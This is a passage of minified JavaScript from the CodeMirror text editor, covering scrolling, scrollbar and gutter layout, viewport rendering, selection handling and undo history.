e;a.options.lineWrapping||b!=c||(b=b.ch?ha(b.line,"before"==b.sticky?b.ch-1:b.ch,"after"):b,c="before"==b.sticky?ha(b.line,b.ch+1,"before"):b);for(var
f=0;f<5;f++){var
g=!1,h=ic(a,b),i=c&&c!=b?ic(a,c):h;e={left:Math.min(h.left,i.left),top:Math.min(h.top,i.top)-d,right:Math.max(h.left,i.left),bottom:Math.max(h.bottom,i.bottom)+d};var
j=Wc(a,e),k=a.doc.scrollTop,l=a.doc.scrollLeft;if(null!=j.scrollTop&&(bd(a,j.scrollTop),Math.abs(a.doc.scrollTop-k)>1&&(g=!0)),null!=j.scrollLeft&&(dd(a,j.scrollLeft),Math.abs(a.doc.scrollLeft-l)>1&&(g=!0)),!g)break}return
e}function Vc(a,b){var
c=Wc(a,b);null!=c.scrollTop&&bd(a,c.scrollTop),null!=c.scrollLeft&&dd(a,c.scrollLeft)}function
Wc(a,b){var c=a.display,d=sc(a.display);b.top<0&&(b.top=0);var
e=a.curOp&&null!=a.curOp.scrollTop?a.curOp.scrollTop:c.scroller.scrollTop,f=Pb(a),g={};b.bottom-b.top>f&&(b.bottom=b.top+f);var
h=a.doc.height+Lb(c),i=b.top<d,j=b.bottom>h-d;if(b.top<e)g.scrollTop=i?0:b.top;else
if(b.bottom>e+f){var
k=Math.min(b.top,(j?h:b.bottom)-f);k!=e&&(g.scrollTop=k)}var
l=a.curOp&&null!=a.curOp.scrollLeft?a.curOp.scrollLeft:c.scroller.scrollLeft,m=Ob(a)-(a.options.fixedGutter?c.gutters.offsetWidth:0),n=b.right-b.left>m;return
n&&(b.right=b.left+m),b.left<10?g.scrollLeft=0:b.left<l?g.scrollLeft=Math.max(0,b.left-(n?0:10)):b.right>m+l-3&&(g.scrollLeft=b.right+(n?0:10)-m),g}function
Xc(a,b){null!=b&&(_c(a),a.curOp.scrollTop=(null==a.curOp.scrollTop?a.doc.scrollTop:a.curOp.scrollTop)+b)}function
Yc(a){_c(a);var
b=a.getCursor();a.curOp.scrollToPos={from:b,to:b,margin:a.options.cursorScrollMargin}}function
Zc(a,b,c){null==b&&null==c||_c(a),null!=b&&(a.curOp.scrollLeft=b),null!=c&&(a.curOp.scrollTop=c)}function
$c(a,b){_c(a),a.curOp.scrollToPos=b}function _c(a){var
b=a.curOp.scrollToPos;if(b){a.curOp.scrollToPos=null;ad(a,jc(a,b.from),jc(a,b.to),b.margin)}}function
ad(a,b,c,d){var
e=Wc(a,{left:Math.min(b.left,c.left),top:Math.min(b.top,c.top)-d,right:Math.max(b.right,c.right),bottom:Math.max(b.bottom,c.bottom)+d});Zc(a,e.scrollLeft,e.scrollTop)}function
bd(a,b){Math.abs(a.doc.scrollTop-b)<2||(og||Bd(a,{top:b}),cd(a,b,!0),og&&Bd(a),ud(a,100))}function
cd(a,b,c){b=Math.max(0,Math.min(a.display.scroller.scrollHeight-a.display.scroller.clientHeight,b)),(a.display.scroller.scrollTop!=b||c)&&(a.doc.scrollTop=b,a.display.scrollbars.setScrollTop(b),a.display.scroller.scrollTop!=b&&(a.display.scroller.scrollTop=b))}function
dd(a,b,c,d){b=Math.max(0,Math.min(b,a.display.scroller.scrollWidth-a.display.scroller.clientWidth)),(c?b==a.doc.scrollLeft:Math.abs(a.doc.scrollLeft-b)<2)&&!d||(a.doc.scrollLeft=b,Fd(a),a.display.scroller.scrollLeft!=b&&(a.display.scroller.scrollLeft=b),a.display.scrollbars.setScrollLeft(b))}function
ed(a){var
b=a.display,c=b.gutters.offsetWidth,d=Math.round(a.doc.height+Lb(a.display));return{clientHeight:b.scroller.clientHeight,viewHeight:b.wrapper.clientHeight,scrollWidth:b.scroller.scrollWidth,clientWidth:b.scroller.clientWidth,viewWidth:b.wrapper.clientWidth,barLeft:a.options.fixedGutter?c:0,docHeight:d,scrollHeight:d+Nb(a)+b.barHeight,nativeBarWidth:b.nativeBarWidth,gutterWidth:c}}function
fd(a,b){b||(b=ed(a));var
c=a.display.barWidth,d=a.display.barHeight;gd(a,b);for(var
e=0;e<4&&c!=a.display.barWidth||d!=a.display.barHeight;e++)c!=a.display.barWidth&&a.options.lineWrapping&&Qc(a),gd(a,ed(a)),c=a.display.barWidth,d=a.display.barHeight}function
gd(a,b){var
c=a.display,d=c.scrollbars.update(b);c.sizer.style.paddingRight=(c.barWidth=d.right)+"px",c.sizer.style.paddingBottom=(c.barHeight=d.bottom)+"px",c.heightForcer.style.borderBottom=d.bottom+"px
solid
transparent",d.right&&d.bottom?(c.scrollbarFiller.style.display="block",c.scrollbarFiller.style.height=d.bottom+"px",c.scrollbarFiller.style.width=d.right+"px"):c.scrollbarFiller.style.display="",d.bottom&&a.options.coverGutterNextToScrollbar&&a.options.fixedGutter?(c.gutterFiller.style.display="block",c.gutterFiller.style.height=d.bottom+"px",c.gutterFiller.style.width=b.gutterWidth+"px"):c.gutterFiller.style.display=""}function
hd(a){a.display.scrollbars&&(a.display.scrollbars.clear(),a.display.scrollbars.addClass&&Lg(a.display.wrapper,a.display.scrollbars.addClass)),a.display.scrollbars=new
xh[a.options.scrollbarStyle](function(b){a.display.wrapper.insertBefore(b,a.display.scrollbarFiller),_g(b,"mousedown",(function(){a.state.focused&&setTimeout((function(){return
a.display.input.focus()}),0)})),b.setAttribute("cm-not-content","true")},function(b,c){"horizontal"==c?dd(a,b):bd(a,b)},a),a.display.scrollbars.addClass&&h(a.display.wrapper,a.display.scrollbars.addClass)}function
id(a){a.curOp={cm:a,viewChanged:!1,startHeight:a.doc.height,forceUpdate:!1,updateInput:0,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:!1,id:++yh},rb(a.curOp)}function
jd(a){var b=a.curOp;b&&tb(b,(function(a){for(var
b=0;b<a.ops.length;b++)a.ops[b].cm.curOp=null;kd(a)}))}function
kd(a){for(var b=a.ops,c=0;c<b.length;c++)ld(b[c]);for(var
d=0;d<b.length;d++)md(b[d]);for(var
e=0;e<b.length;e++)nd(b[e]);for(var
f=0;f<b.length;f++)od(b[f]);for(var
g=0;g<b.length;g++)pd(b[g])}function ld(a){var
b=a.cm,c=b.display;wd(b),a.updateMaxLine&&eb(b),a.mustUpdate=a.viewChanged||a.forceUpdate||null!=a.scrollTop||a.scrollToPos&&(a.scrollToPos.from.line<c.viewFrom||a.scrollToPos.to.line>=c.viewTo)||c.maxLineChanged&&b.options.lineWrapping,a.update=a.mustUpdate&&new
zh(b,a.mustUpdate&&{top:a.scrollTop,ensure:a.scrollToPos},a.forceUpdate)}function
md(a){a.updatedDisplay=a.mustUpdate&&zd(a.cm,a.update)}function
nd(a){var
b=a.cm,c=b.display;a.updatedDisplay&&Qc(b),a.barMeasure=ed(b),c.maxLineChanged&&!b.options.lineWrapping&&(a.adjustWidthTo=Tb(b,c.maxLine,c.maxLine.text.length).left+3,b.display.sizerWidth=a.adjustWidthTo,a.barMeasure.scrollWidth=Math.max(c.scroller.clientWidth,c.sizer.offsetLeft+a.adjustWidthTo+Nb(b)+b.display.barWidth),a.maxScrollLeft=Math.max(0,c.sizer.offsetLeft+a.adjustWidthTo-Ob(b))),(a.updatedDisplay||a.selectionChanged)&&(a.preparedSelection=c.input.prepareSelection())}function
od(a){var
b=a.cm;null!=a.adjustWidthTo&&(b.display.sizer.style.minWidth=a.adjustWidthTo+"px",a.maxScrollLeft<b.doc.scrollLeft&&dd(b,Math.min(b.display.scroller.scrollLeft,a.maxScrollLeft),!0),b.display.maxLineChanged=!1);var
c=a.focus&&a.focus==g();a.preparedSelection&&b.display.input.showSelection(a.preparedSelection,c),(a.updatedDisplay||a.startHeight!=b.doc.height)&&fd(b,a.barMeasure),a.updatedDisplay&&Ed(b,a.barMeasure),a.selectionChanged&&Lc(b),b.state.focused&&a.updateInput&&b.display.input.reset(a.typing),c&&Mc(a.cm)}function
pd(a){var
b=a.cm,c=b.display,d=b.doc;if(a.updatedDisplay&&Ad(b,a.update),null==c.wheelStartX||null==a.scrollTop&&null==a.scrollLeft&&!a.scrollToPos||(c.wheelStartX=c.wheelStartY=null),null!=a.scrollTop&&cd(b,a.scrollTop,a.forceScroll),null!=a.scrollLeft&&dd(b,a.scrollLeft,!0,!0),a.scrollToPos){Tc(b,Uc(b,oa(d,a.scrollToPos.from),oa(d,a.scrollToPos.to),a.scrollToPos.margin))}var
e=a.maybeHiddenMarkers,f=a.maybeUnhiddenMarkers;if(e)for(var
g=0;g<e.length;++g)e[g].lines.length||F(e[g],"hide");if(f)for(var
h=0;h<f.length;++h)f[h].lines.length&&F(f[h],"unhide");c.wrapper.offsetHeight&&(d.scrollTop=b.display.scroller.scrollTop),a.changeObjs&&F(b,"changes",b,a.changeObjs),a.update&&a.update.finish()}function
qd(a,b){if(a.curOp)return b();id(a);try{return b()}finally{jd(a)}}function
rd(a,b){return function(){if(a.curOp)return
b.apply(a,arguments);id(a);try{return
b.apply(a,arguments)}finally{jd(a)}}}function sd(a){return
function(){if(this.curOp)return a.apply(this,arguments);id(this);try{return
a.apply(this,arguments)}finally{jd(this)}}}function td(a){return
function(){var b=this.cm;if(!b||b.curOp)return
a.apply(this,arguments);id(b);try{return
a.apply(this,arguments)}finally{jd(b)}}}function
ud(a,b){a.doc.highlightFrontier<a.display.viewTo&&a.state.highlight.set(b,j(vd,a))}function
vd(a){var b=a.doc;if(!(b.highlightFrontier>=a.display.viewTo)){var
c=+new
Date+a.options.workTime,d=ta(a,b.highlightFrontier),e=[];b.iter(d.line,Math.min(b.first+b.size,a.display.viewTo+500),(function(f){if(d.line>=a.display.viewFrom){var
g=f.styles,h=f.text.length>a.options.maxHighlightLength?Y(b.mode,d.state):null,i=ra(a,f,d,!0);h&&(d.state=h),f.styles=i.styles;var
j=f.styleClasses,k=i.classes;k?f.styleClasses=k:j&&(f.styleClasses=null);for(var
l=!g||g.length!=f.styles.length||j!=k&&(!j||!k||j.bgClass!=k.bgClass||j.textClass!=k.textClass),m=0;!l&&m<g.length;++m)l=g[m]!=f.styles[m];l&&e.push(d.line),f.stateAfter=d.save(),d.nextLine()}else
f.text.length<=a.options.maxHighlightLength&&ua(a,f.text,d),f.stateAfter=d.line%5==0?d.save():null,d.nextLine();if(+new
Date>c)return
ud(a,a.options.workDelay),!0})),b.highlightFrontier=d.line,b.modeFrontier=Math.max(b.modeFrontier,d.line),e.length&&qd(a,(function(){for(var
b=0;b<e.length;b++)Bc(a,e[b],"text")}))}}function wd(a){var
b=a.display;!b.scrollbarsClipped&&b.scroller.offsetWidth&&(b.nativeBarWidth=b.scroller.offsetWidth-b.scroller.clientWidth,b.heightForcer.style.height=Nb(a)+"px",b.sizer.style.marginBottom=-b.nativeBarWidth+"px",b.sizer.style.borderRightWidth=Nb(a)+"px",b.scrollbarsClipped=!0)}function
xd(a){if(a.hasFocus())return null;var
b=g();if(!b||!f(a.display.lineDiv,b))return null;var
c={activeElt:b};if(window.getSelection){var
d=window.getSelection();d.anchorNode&&d.extend&&f(a.display.lineDiv,d.anchorNode)&&(c.anchorNode=d.anchorNode,c.anchorOffset=d.anchorOffset,c.focusNode=d.focusNode,c.focusOffset=d.focusOffset)}return
c}function
yd(a){if(a&&a.activeElt&&a.activeElt!=g()&&(a.activeElt.focus(),!/^(INPUT|TEXTAREA)$/.test(a.activeElt.nodeName)&&a.anchorNode&&f(document.body,a.anchorNode)&&f(document.body,a.focusNode))){var
b=window.getSelection(),c=document.createRange();c.setEnd(a.anchorNode,a.anchorOffset),c.collapse(!1),b.removeAllRanges(),b.addRange(c),b.extend(a.focusNode,a.focusOffset)}}function
zd(a,c){var d=a.display,e=a.doc;if(c.editorIsHidden)return
Cc(a),!1;if(!c.force&&c.visible.from>=d.viewFrom&&c.visible.to<=d.viewTo&&(null==d.updateLineNumbers||d.updateLineNumbers>=d.viewTo)&&d.renderedView==d.view&&0==Fc(a))return!1;Gd(a)&&(Cc(a),c.dims=uc(a));var
f=e.first+e.size,g=Math.max(c.visible.from-a.options.viewportMargin,e.first),h=Math.min(f,c.visible.to+a.options.viewportMargin);d.viewFrom<g&&g-d.viewFrom<20&&(g=Math.max(e.first,d.viewFrom)),d.viewTo>h&&d.viewTo-h<20&&(h=Math.min(f,d.viewTo)),nh&&(g=$a(a.doc,g),h=_a(a.doc,h));var
i=g!=d.viewFrom||h!=d.viewTo||d.lastWrapHeight!=c.wrapperHeight||d.lastWrapWidth!=c.wrapperWidth;Ec(a,g,h),d.viewOffset=cb(_(a.doc,d.viewFrom)),a.display.mover.style.top=d.viewOffset+"px";var
j=Fc(a);if(!i&&0==j&&!c.force&&d.renderedView==d.view&&(null==d.updateLineNumbers||d.updateLineNumbers>=d.viewTo))return!1;var
k=xd(a);return
j>4&&(d.lineDiv.style.display="none"),Cd(a,d.updateLineNumbers,c.dims),j>4&&(d.lineDiv.style.display=""),d.renderedView=d.view,yd(k),b(d.cursorDiv),b(d.selectionDiv),d.gutters.style.height=d.sizer.style.minHeight=0,i&&(d.lastWrapHeight=c.wrapperHeight,d.lastWrapWidth=c.wrapperWidth,ud(a,400)),d.updateLineNumbers=null,!0}function
Ad(a,b){for(var
c=b.viewport,d=!0;;d=!1){if(d&&a.options.lineWrapping&&b.oldDisplayWidth!=Ob(a))d&&(b.visible=Sc(a.display,a.doc,c));else
if(c&&null!=c.top&&(c={top:Math.min(a.doc.height+Lb(a.display)-Pb(a),c.top)}),b.visible=Sc(a.display,a.doc,c),b.visible.from>=a.display.viewFrom&&b.visible.to<=a.display.viewTo)break;if(!zd(a,b))break;Qc(a);var
e=ed(a);Gc(a),fd(a,e),Ed(a,e),b.force=!1}b.signal(a,"update",a),a.display.viewFrom==a.display.reportedViewFrom&&a.display.viewTo==a.display.reportedViewTo||(b.signal(a,"viewportChange",a,a.display.viewFrom,a.display.viewTo),a.display.reportedViewFrom=a.display.viewFrom,a.display.reportedViewTo=a.display.viewTo)}function
Bd(a,b){var c=new zh(a,b);if(zd(a,c)){Qc(a),Ad(a,c);var
d=ed(a);Gc(a),fd(a,d),Ed(a,d),c.finish()}}function Cd(a,c,d){function
e(b){var c=b.nextSibling;return
ug&&Eg&&a.display.currentWheelTarget==b?b.style.display="none":b.parentNode.removeChild(b),c}for(var
f=a.display,g=a.options.lineNumbers,h=f.lineDiv,i=h.firstChild,j=f.view,k=f.viewFrom,l=0;l<j.length;l++){var
n=j[l];if(n.hidden);else
if(n.node&&n.node.parentNode==h){for(;i!=n.node;)i=e(i);var
o=g&&null!=c&&c<=k&&n.lineNumber;n.changes&&(m(n.changes,"gutter")>-1&&(o=!1),wb(a,n,k,d)),o&&(b(n.lineNumber),n.lineNumber.appendChild(document.createTextNode(ga(a.options,k)))),i=n.node.nextSibling}else{var
p=Eb(a,n,k,d);h.insertBefore(p,i)}k+=n.size}for(;i;)i=e(i)}function
Dd(a){var
b=a.gutters.offsetWidth;a.sizer.style.marginLeft=b+"px"}function
Ed(a,b){a.display.sizer.style.minHeight=b.docHeight+"px",a.display.heightForcer.style.top=b.docHeight+"px",a.display.gutters.style.height=b.docHeight+a.display.barHeight+Nb(a)+"px"}function
Fd(a){var
b=a.display,c=b.view;if(b.alignWidgets||b.gutters.firstChild&&a.options.fixedGutter){for(var
d=vc(b)-b.scroller.scrollLeft+a.doc.scrollLeft,e=b.gutters.offsetWidth,f=d+"px",g=0;g<c.length;g++)if(!c[g].hidden){a.options.fixedGutter&&(c[g].gutter&&(c[g].gutter.style.left=f),c[g].gutterBackground&&(c[g].gutterBackground.style.left=f));var
h=c[g].alignable;if(h)for(var
i=0;i<h.length;i++)h[i].style.left=f}a.options.fixedGutter&&(b.gutters.style.left=d+e+"px")}}function
Gd(a){if(!a.options.lineNumbers)return!1;var
b=a.doc,c=ga(a.options,b.first+b.size-1),e=a.display;if(c.length!=e.lineNumChars){var
f=e.measure.appendChild(d("div",[d("div",c)],"CodeMirror-linenumber
CodeMirror-gutter-elt")),g=f.firstChild.offsetWidth,h=f.offsetWidth-g;return
e.lineGutter.style.width="",e.lineNumInnerWidth=Math.max(g,e.lineGutter.offsetWidth-h)+1,e.lineNumWidth=e.lineNumInnerWidth+h,e.lineNumChars=e.lineNumInnerWidth?c.length:-1,e.lineGutter.style.width=e.lineNumWidth+"px",Dd(a.display),!0}return!1}function
Hd(a,b){for(var c=[],d=!1,e=0;e<a.length;e++){var
f=a[e],g=null;if("string"!=typeof
f&&(g=f.style,f=f.className),"CodeMirror-linenumbers"==f){if(!b)continue;d=!0}c.push({className:f,style:g})}return
b&&!d&&c.push({className:"CodeMirror-linenumbers",style:null}),c}function
Id(a){var c=a.gutters,e=a.gutterSpecs;b(c),a.lineGutter=null;for(var
f=0;f<e.length;++f){var
g=e[f],h=g.className,i=g.style,j=c.appendChild(d("div",null,"CodeMirror-gutter
"+h));i&&(j.style.cssText=i),"CodeMirror-linenumbers"==h&&(a.lineGutter=j,j.style.width=(a.lineNumWidth||1)+"px")}c.style.display=e.length?"":"none",Dd(a)}function
Jd(a){Id(a.display),Ac(a),Fd(a)}function Kd(a,b,c,f){var
g=this;this.input=c,g.scrollbarFiller=d("div",null,"CodeMirror-scrollbar-filler"),g.scrollbarFiller.setAttribute("cm-not-content","true"),g.gutterFiller=d("div",null,"CodeMirror-gutter-filler"),g.gutterFiller.setAttribute("cm-not-content","true"),g.lineDiv=e("div",null,"CodeMirror-code"),g.selectionDiv=d("div",null,null,"position:
relative; z-index:
1"),g.cursorDiv=d("div",null,"CodeMirror-cursors"),g.measure=d("div",null,"CodeMirror-measure"),g.lineMeasure=d("div",null,"CodeMirror-measure"),g.lineSpace=e("div",[g.measure,g.lineMeasure,g.selectionDiv,g.cursorDiv,g.lineDiv],null,"position:
relative; outline: none");var
h=e("div",[g.lineSpace],"CodeMirror-lines");g.mover=d("div",[h],null,"position:
relative"),g.sizer=d("div",[g.mover],"CodeMirror-sizer"),g.sizerWidth=null,g.heightForcer=d("div",null,null,"position:
absolute; height: "+Qg+"px; width:
1px;"),g.gutters=d("div",null,"CodeMirror-gutters"),g.lineGutter=null,g.scroller=d("div",[g.sizer,g.heightForcer,g.gutters],"CodeMirror-scroll"),g.scroller.setAttribute("tabIndex","-1"),g.wrapper=d("div",[g.scrollbarFiller,g.gutterFiller,g.scroller],"CodeMirror"),sg&&tg<8&&(g.gutters.style.zIndex=-1,g.scroller.style.paddingRight=0),ug||og&&Dg||(g.scroller.draggable=!0),a&&(a.appendChild?a.appendChild(g.wrapper):a(g.wrapper)),g.viewFrom=g.viewTo=b.first,g.reportedViewFrom=g.reportedViewTo=b.first,g.view=[],g.renderedView=null,g.externalMeasured=null,g.viewOffset=0,g.lastWrapHeight=g.lastWrapWidth=0,g.updateLineNumbers=null,g.nativeBarWidth=g.barHeight=g.barWidth=0,g.scrollbarsClipped=!1,g.lineNumWidth=g.lineNumInnerWidth=g.lineNumChars=null,g.alignWidgets=!1,g.cachedCharWidth=g.cachedTextHeight=g.cachedPaddingH=null,g.maxLine=null,g.maxLineLength=0,g.maxLineChanged=!1,g.wheelDX=g.wheelDY=g.wheelStartX=g.wheelStartY=null,g.shift=!1,g.selForContextMenu=null,g.activeTouch=null,g.gutterSpecs=Hd(f.gutters,f.lineNumbers),Id(g),c.init(g)}function
Ld(a){var b=a.wheelDeltaX,c=a.wheelDeltaY;return
null==b&&a.detail&&a.axis==a.HORIZONTAL_AXIS&&(b=a.detail),null==c&&a.detail&&a.axis==a.VERTICAL_AXIS?c=a.detail:null==c&&(c=a.wheelDelta),{x:b,y:c}}function
Md(a){var b=Ld(a);return b.x*=Bh,b.y*=Bh,b}function Nd(a,b){var
c=Ld(b),d=c.x,e=c.y,f=a.display,g=f.scroller,h=g.scrollWidth>g.clientWidth,i=g.scrollHeight>g.clientHeight;if(d&&h||e&&i){if(e&&Eg&&ug)a:for(var
j=b.target,k=f.view;j!=g;j=j.parentNode)for(var
l=0;l<k.length;l++)if(k[l].node==j){a.display.currentWheelTarget=j;break
a}if(d&&!og&&!xg&&null!=Bh)return
e&&i&&bd(a,Math.max(0,g.scrollTop+e*Bh)),dd(a,Math.max(0,g.scrollLeft+d*Bh)),(!e||e&&i)&&K(b),void(f.wheelStartX=null);if(e&&null!=Bh){var
m=e*Bh,n=a.doc.scrollTop,o=n+f.wrapper.clientHeight;m<0?n=Math.max(0,n+m-50):o=Math.min(a.doc.height,o+m+50),Bd(a,{top:n,bottom:o})}Ah<20&&(null==f.wheelStartX?(f.wheelStartX=g.scrollLeft,f.wheelStartY=g.scrollTop,f.wheelDX=d,f.wheelDY=e,setTimeout((function(){if(null!=f.wheelStartX){var
a=g.scrollLeft-f.wheelStartX,b=g.scrollTop-f.wheelStartY,c=b&&f.wheelDY&&b/f.wheelDY||a&&f.wheelDX&&a/f.wheelDX;f.wheelStartX=f.wheelStartY=null,c&&(Bh=(Bh*Ah+c)/(Ah+1),++Ah)}}),200)):(f.wheelDX+=d,f.wheelDY+=e))}}function
Od(a,b,c){var
d=a&&a.options.selectionsMayTouch,e=b[c];b.sort((function(a,b){return
ia(a.from(),b.from())})),c=m(b,e);for(var f=1;f<b.length;f++){var
g=b[f],h=b[f-1],i=ia(h.to(),g.from());if(d&&!g.empty()?i>0:i>=0){
var
j=ma(h.from(),g.from()),k=la(h.to(),g.to()),l=h.empty()?g.from()==g.head:h.from()==h.head;f<=c&&--c,b.splice(--f,2,new
Dh(l?k:j,l?j:k))}}return new Ch(b,c)}function Pd(a,b){return new Ch([new
Dh(a,b||a)],0)}function Qd(a){return
a.text?ha(a.from.line+a.text.length-1,p(a.text).length+(1==a.text.length?a.from.ch:0)):a.to}function
Rd(a,b){if(ia(a,b.from)<0)return a;if(ia(a,b.to)<=0)return Qd(b);var
c=a.line+b.text.length-(b.to.line-b.from.line)-1,d=a.ch;return
a.line==b.to.line&&(d+=Qd(b).ch-b.to.ch),ha(c,d)}function
Sd(a,b){for(var c=[],d=0;d<a.sel.ranges.length;d++){var
e=a.sel.ranges[d];c.push(new Dh(Rd(e.anchor,b),Rd(e.head,b)))}return
Od(a.cm,c,a.sel.primIndex)}function Td(a,b,c){return
a.line==b.line?ha(c.line,a.ch-b.ch+c.ch):ha(c.line+(a.line-b.line),a.ch)}function
Ud(a,b,c){for(var d=[],e=ha(a.first,0),f=e,g=0;g<b.length;g++){var
h=b[g],i=Td(h.from,e,f),j=Td(Qd(h),e,f);if(e=h.to,f=j,"around"==c){var
k=a.sel.ranges[g],l=ia(k.head,k.anchor)<0;d[g]=new Dh(l?j:i,l?i:j)}else
d[g]=new Dh(i,i)}return new Ch(d,a.sel.primIndex)}function
Vd(a){a.doc.mode=W(a.options,a.doc.modeOption),Wd(a)}function
Wd(a){a.doc.iter((function(a){a.stateAfter&&(a.stateAfter=null),a.styles&&(a.styles=null)})),a.doc.modeFrontier=a.doc.highlightFrontier=a.doc.first,ud(a,100),a.state.modeGen++,a.curOp&&Ac(a)}function
Xd(a,b){return
0==b.from.ch&&0==b.to.ch&&""==p(b.text)&&(!a.cm||a.cm.options.wholeLineUpdateBefore)}function
Yd(a,b,c,d){function e(a){return c?c[a]:null}function
f(a,c,e){fb(a,c,e,d),ub(a,"change",a,b)}function g(a,b){for(var
c=[],f=a;f<b;++f)c.push(new oh(j[f],e(f),d));return c}var
h=b.from,i=b.to,j=b.text,k=_(a,h.line),l=_(a,i.line),m=p(j),n=e(j.length-1),o=i.line-h.line;if(b.full)a.insert(0,g(0,j.length)),a.remove(j.length,a.size-j.length);else
if(Xd(a,b)){var
q=g(0,j.length-1);f(l,l.text,n),o&&a.remove(h.line,o),q.length&&a.insert(h.line,q)}else
if(k==l)if(1==j.length)f(k,k.text.slice(0,h.ch)+m+k.text.slice(i.ch),n);else{var
r=g(1,j.length-1);r.push(new
oh(m+k.text.slice(i.ch),n,d)),f(k,k.text.slice(0,h.ch)+j[0],e(0)),a.insert(h.line+1,r)}else
if(1==j.length)f(k,k.text.slice(0,h.ch)+j[0]+l.text.slice(i.ch),e(0)),a.remove(h.line+1,o);else{f(k,k.text.slice(0,h.ch)+j[0],e(0)),f(l,m+l.text.slice(i.ch),n);var
s=g(1,j.length-1);o>1&&a.remove(h.line+1,o-1),a.insert(h.line+1,s)}ub(a,"change",a,b)}function
Zd(a,b,c){function d(a,e,f){if(a.linked)for(var
g=0;g<a.linked.length;++g){var h=a.linked[g];if(h.doc!=e){var
i=f&&h.sharedHist;c&&!i||(b(h.doc,i),d(h.doc,a,i))}}}d(a,null,!0)}function
$d(a,b){if(b.cm)throw new Error("This document is already in
use.");a.doc=b,b.cm=a,xc(a),Vd(a),_d(a),a.options.lineWrapping||eb(a),a.options.mode=b.modeOption,Ac(a)}function
_d(a){("rtl"==a.doc.direction?h:Lg)(a.display.lineDiv,"CodeMirror-rtl")}function
ae(a){qd(a,(function(){_d(a),Ac(a)}))}function
be(a){this.done=[],this.undone=[],this.undoDepth=1/0,this.lastModTime=this.lastSelTime=0,this.lastOp=this.lastSelOp=null,this.lastOrigin=this.lastSelOrigin=null,this.generation=this.maxGeneration=a||1}function
ce(a,b){var c={from:ka(b.from),to:Qd(b),text:aa(a,b.from,b.to)};return
je(a,c,b.from.line,b.to.line+1),Zd(a,(function(a){return
je(a,c,b.from.line,b.to.line+1)}),!0),c}function
de(a){for(;a.length;){if(!p(a).ranges)break;a.pop()}}function
ee(a,b){return
b?(de(a.done),p(a.done)):a.done.length&&!p(a.done).ranges?p(a.done):a.done.length>1&&!a.done[a.done.length-2].ranges?(a.done.pop(),p(a.done)):void
0}function fe(a,b,c,d){var e=a.history;e.undone.length=0;var f,g,h=+new
Date;if((e.lastOp==d||e.lastOrigin==b.origin&&b.origin&&("+"==b.origin.charAt(0)&&e.lastModTime>h-(a.cm?a.cm.options.historyEventDelay:500)||"*"==b.origin.charAt(0)))&&(f=ee(e,e.lastOp==d)))g=p(f.changes),0==ia(b.from,b.to)&&0==ia(b.from,g.to)?g.to=Qd(b):f.changes.push(ce(a,b));else{var
i=p(e.done);for(i&&i.ranges||ie(a.sel,e.done),f={changes:[ce(a,b)],generation:e.generation},e.done.push(f);e.done.length>e.undoDepth;)e.done.shift(),e.done[0].ranges||e.done.shift()}e.done.push(c),e.generation=++e.maxGeneration,e.lastModTime=e.lastSelTime=h,e.lastOp=e.lastSelOp=d,e.lastOrigin=e.lastSelOrigin=b.origin,g||F(a,"historyAdded")}function
ge(a,b,c,d){var
e=b.charAt(0);return"*"==e||"+"==e&&c.ranges.length==d.ranges.length&&c.somethingSelected()==d.somethingSelected()&&new
Date-a.history.lastSelTime<=(a.cm?a.cm.options.historyEventDelay:500)}function
he(a,b,c,d){var
e=a.history,f=d&&d.origin;c==e.lastSelOp||f&&e.lastSelOrigin==f&&(e.lastModTime==e.lastSelTime&&e.lastOrigin==f||ge(a,f,p(e.done),b))?e.done[e.done.length-1]=b:ie(b,e.done),e.lastSelTime=+new
Date,e.lastSelOrigin=f,e.lastSelOp=c,d&&!1!==d.clearRedo&&de(e.undone)}function
ie(a,b){var
c=p(b);c&&c.ranges&&c.equals(a)||b.push(a)}function
je(a,b,c,d){var
e=b["spans_"+a.id],f=0;a.iter(Math.max(a.first,c),Math.min(a.first+a.size,d),(function(c){c.markedSpans&&((e||(e=b["spans_"+a.id]={}))[f]=c.markedSpans),++f}))}function
ke(a){if(!a)return null;for(var
b,c=0;c<a.length;++c)a[c].marker.explicitlyCleared?b||(b=a.slice(0,c)):b&&b.push(a[c]);return
b?b.length?b:null:a}function le(a,b){var
c=b["spans_"+a.id];if(!c)return null;for(var
d=[],e=0;e<b.text.length;++e)d.push(ke(c[e]));return d}function
me(a,b){var c=le(a,b),d=Ka(a,b);if(!c)return d;if(!d)return c;for(var
e=0;e<c.length;++e){var f=c[e],g=d[e];if(f&&g)a:for(var
h=0;h<g.length;++h){for(var
i=g[h],j=0;j<f.length;++j)if(f[j].marker==i.marker)continue
a;f.push(i)}else g&&(c[e]=g)}return c}function ne(a,b,c){for(var
d=[],e=0;e<a.length;++e){var
f=a[e];if(f.ranges)d.push(c?Ch.prototype.deepCopy.call(f):f);else{var
g=f.changes,h=[];d.push({changes:h});for(var i=0;i<g.length;++i){var
j=g[i],k=void 0;if(h.push({from:j.from,to:j.to,text:j.text}),b)for(var l in
j)(k=l.match(/^spans_(\d+)$/))&&m(b,Number(k[1]))>-1&&(p(h)[l]=j[l],delete
j[l])}}}return d}function oe(a,b,c,d){if(d){var e=a.anchor;if(c){var
f=ia(b,e)<0;f!=ia(c,e)<0?(e=b,b=c):f!=ia(b,c)<0&&(b=c)}return
new Dh(e,b)}return new Dh(c||b,b)}function
pe(a,b,c,d,e){null==e&&(e=a.cm&&(a.cm.display.shift||a.extend)),ve(a,new
Ch([oe(a.sel.primary(),b,c,e)],0),d)}function qe(a,b,c){for(var
d=[],e=a.cm&&(a.cm.display.shift||a.extend),f=0;f<a.sel.ranges.length;f++)d[f]=oe(a.sel.ranges[f],b[f],null,e);ve(a,Od(a.cm,d,a.sel.primIndex),c)}function
re(a,b,c,d){var
e=a.sel.ranges.slice(0);e[b]=c,ve(a,Od(a.cm,e,a.sel.primIndex),d)}function
se(a,b,c,d){ve(a,Pd(b,c),d)}function te(a,b,c){var
d={ranges:b.ranges,update:function(b){this.ranges=[];for(var
c=0;c<b.length;c++)this.ranges[c]=new
Dh(oa(a,b[c].anchor),oa(a,b[c].head))},origin:c&&c.origin};return
F(a,"beforeSelectionChange",a,d),a.cm&&F(a.cm,"beforeSelectionChange",a.cm,d),d.ranges!=b.ranges?Od(a.cm,d.ranges,d.ranges.length-1):b}function
ue(a,b,c){var
d=a.history.done,e=p(d);e&&e.ranges?(d[d.length-1]=b,we(a,b,c)):ve(a,b,c)}function
